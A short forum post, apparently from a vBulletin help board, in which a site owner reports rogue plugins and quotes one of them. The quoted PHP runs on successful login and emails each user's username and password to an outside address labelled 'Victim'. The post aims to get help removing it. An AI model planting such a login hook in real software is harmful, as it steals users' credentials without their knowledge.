help a script is sending my user passwords to an email

[msimen]

found and solved ,


here is what i found on some plugins !
just a mod but tell me plz if this

this are the plugins added !

member_complete
vb-sec2 login_verify_success
vb-sec3 global_setup_complete
vb-sec4 misc_start

and this is the content of the vb-sec2

$message = "username: " . $vbulletin->db->escape_string(htmlspecialchars_uni($username)) . "\nPassword:". $vbulletin->db->escape_string(htmlspecialchars_uni($password));
mail('XXXXX@windowslive.com', 'Victim', $message);